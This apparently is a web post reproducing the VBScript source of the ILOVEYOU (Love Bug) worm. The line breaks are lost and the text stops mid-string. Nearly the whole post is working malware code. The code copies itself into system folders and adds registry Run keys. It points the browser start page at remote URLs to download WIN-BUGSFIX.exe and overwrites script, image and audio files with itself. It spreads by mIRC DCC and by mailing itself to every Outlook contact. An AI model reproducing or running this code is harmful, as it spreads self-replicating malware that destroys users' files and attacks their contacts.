I LOVE YOU WORM

The ILOVEYOU worm, also known as VBS/Loveletter and Love Bug worm, is a computer worm written in VBScript.
here is the source code of one of the most famous virus the hits cyberspace.

On Error Resume Nextdim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,d oweq=""ctr=0Set fso = CreateObject("Scripting.FileSystemObject")set file = fso.OpenTextFile(WScript.ScriptFullname,1)vbscopy=file.ReadAllmain()sub main()On Error Resume Nextdim wscr,rrset wscr=CreateObject("WScript.Shell")rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Micros oft\Windows ScriptingHost\Settings\Timeout")if (rr>=1) thenwscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows ScriptingHost\Settings\Timeout",0,"REG_DWORD"end ifSet dirwin = fso.GetSpecialFolder(0)Set dirsystem = fso.GetSpecialFolder(1)Set dirtemp = fso.GetSpecialFolder(2)Set c = fso.GetFile(WScript.ScriptFullName)c.Copy(dirsystem&"\MSKernel32.vbs")c.Copy(dirwin&"\Win32DLL.vbs")c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")regruns()html()spreadtoemail()listadriv()end subsub regruns()On Error Resume NextDim num,downreadregcreate"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\Run\MSKernel32",dirsystem&"\MSKernel32.vbs"regcreate"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\RunServices\Win32DLL",dirwin&"\Win32DLL.vbs"downread=""downread=regget("HKEY_CURRENT_USER\Software\Micros oft\InternetExplorer\Download Directory")if (downread="") thendownread="c:\"end ifif (fileexist(dirsystem&"\WinFAT32.exe")=1) thenRandomizenum = Int((4 * Rnd) + 1)if num = 1 thenregcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"elseif num = 2 thenregcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"elseif num = 3 thenregcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe"elseif num = 4 thenregcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237 461234iuy7thjg/WIN-BUGSFIX.exe"end ifend ifif (fileexist(downread&"\WIN-BUGSFIX.exe")=0) thenregcreate"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\Run\WIN-BUGSFIX",downread&"\WIN-BUGSFIX.exe"regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\StartPage","about:blank"end ifend subsub listadrivOn Error Resume NextDim d,dc,sSet dc = fso.DrivesFor Each d in dcIf d.DriveType = 2 or d.DriveType=3 Thenfolderlist(d.path&"\")end ifNextlistadriv = send subsub infectfiles(folderspec)On Error Resume Nextdim f,f1,fc,ext,ap,mircfname,s,bname,mp3set f = fso.GetFolder(folderspec)set fc = f.Filesfor each f1 in fcext=fso.GetExtensionName(f1.path)ext=lcase(ext)s=lcase(f1.name)if (ext="vbs") or (ext="vbe") thenset ap=fso.OpenTextFile(f1.path,2,true)ap.write vbscopyap.closeelseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct")or (ext="hta") thenset ap=fso.OpenTextFile(f1.path,2,true)ap.write vbscopyap.closebname=fso.GetBaseName(f1.path)set cop=fso.GetFile(f1.path)cop.copy(folderspec&"\"&bname&".vbs")fso.DeleteFile(f1.path)elseif(ext="jpg") or (ext="jpeg") thenset ap=fso.OpenTextFile(f1.path,2,true)ap.write vbscopyap.closeset cop=fso.GetFile(f1.path)cop.copy(f1.path&".vbs")fso.DeleteFile(f1.path)elseif(ext="mp3") or (ext="mp2") thenset mp3=fso.CreateTextFile(f1.path&".vbs")mp3.write vbscopymp3.closeset att=fso.GetFile(f1.path)att.attributes=att.attributes+2end ifif (eq<>folderspec) thenif (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or(s="script.ini") or (s="mirc.hlp") thenset scriptini=fso.CreateTextFile(folderspec&"\script.i ni")scriptini.WriteLine "[script]"scriptini.WriteLine ";mIRC Script"scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt,if mIRC will"scriptini.WriteLine " corrupt... WINDOWS will affect and will not runcorrectly. thanks"scriptini.WriteLine ";"scriptini.WriteLine ";Khaled Mardam-Bey"scriptini.WriteLine ";http://www.mirc.com"scriptini.WriteLine ";"scriptini.WriteLine "n0=on 1:JOIN:#:{"scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }"scriptini.WriteLine "n2= /.dcc send $nick"&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"scriptini.WriteLine "n3=}"scriptini.closeeq=folderspecend ifend ifnextend subsub folderlist(folderspec)On Error Resume Nextdim f,f1,sfset f = fso.GetFolder(folderspec)set sf = f.SubFoldersfor each f1 in sfinfectfiles(f1.path)folderlist(f1.path)nextend subsub regcreate(regkey,regvalue)Set regedit = CreateObject("WScript.Shell")regedit.RegWrite regkey,regvalueend subfunction regget(value)Set regedit = CreateObject("WScript.Shell")regget=regedit.RegRead(value)end functionfunction fileexist(filespec)On Error Resume Nextdim msgif (fso.FileExists(filespec)) Thenmsg = 0elsemsg = 1end iffileexist = msgend functionfunction folderexist(folderspec)On Error Resume Nextdim msgif (fso.GetFolderExists(folderspec)) thenmsg = 0elsemsg = 1end iffileexist = msgend functionsub spreadtoemail()On Error Resume Nextdim x,a,ctrlists,ctrentries,malead,b,regedit,regv,rega dset regedit=CreateObject("WScript.Shell")set out=WScript.CreateObject("Outlook.Application")set mapi=out.GetNameSpace("MAPI")for ctrlists=1 to mapi.AddressLists.Countset a=mapi.AddressLists(ctrlists)x=1regv=regedit.RegRead("HKEY_CURRENT_USER\Software\M icrosoft\WAB\"&a)if (regv="") thenregv=1end ifif (int(a.AddressEntries.Count)>int(regv)) thenfor ctrentries=1 to a.AddressEntries.Countmalead=a.AddressEntries(x)regad=""regad=regedit.RegRead("HKEY_CURRENT_USER\Software\ Microsoft\WAB\"&malead)if (regad="") thenset male=out.CreateItem(0)male.Recipients.Add(malead)male.Subject = "ILOVEYOU"male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")male.Sendregedit.RegWrite"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead ,1,"REG_DWORD"end ifx=x+1nextregedit.RegWrite"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.Ad dressEntries.Countelseregedit.RegWrite"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.Ad dressEntries.Countend ifnextSet out=NothingSet mapi=Nothingend subsub htmlOn Error Resume Nextdim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6dta1="